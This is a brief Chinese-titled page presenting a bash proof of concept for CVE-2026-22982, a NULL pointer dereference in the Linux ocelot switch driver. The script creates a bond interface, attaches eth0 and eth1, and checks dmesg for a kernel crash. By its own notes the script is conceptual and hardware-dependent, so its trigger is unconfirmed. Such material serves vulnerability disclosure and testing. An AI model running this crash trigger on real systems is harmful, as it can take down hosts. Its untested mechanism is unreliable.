CVE-2026-22982: Linux内核ocelot驱动添加LAG接口时NULL指针解引用漏洞

#!/bin/bash # CVE-2026-22982 PoC - Trigger NULL pointer dereference in ocelot driver # This PoC demonstrates adding interface to LAG that triggers the vulnerability # Prerequisites: System with ocelot driver and network interfaces # Note: This is a conceptual PoC as actual trigger requires specific hardware # Step 1: Create a LAG interface ip link add bond0 type bond mode balance-rr # Step 2: Attempt to add potentially NULL ports to the LAG # This may trigger ocelot_set_aggr_pgids() with NULL pointer ip link set eth0 master bond0 ip link set eth1 master bond0 # Step 3: Verify if crash occurred (check dmesg) dmesg | tail -50 # Expected result: Kernel NULL pointer dereference in ocelot driver # Note: Actual trigger depends on specific ocelot hardware configuration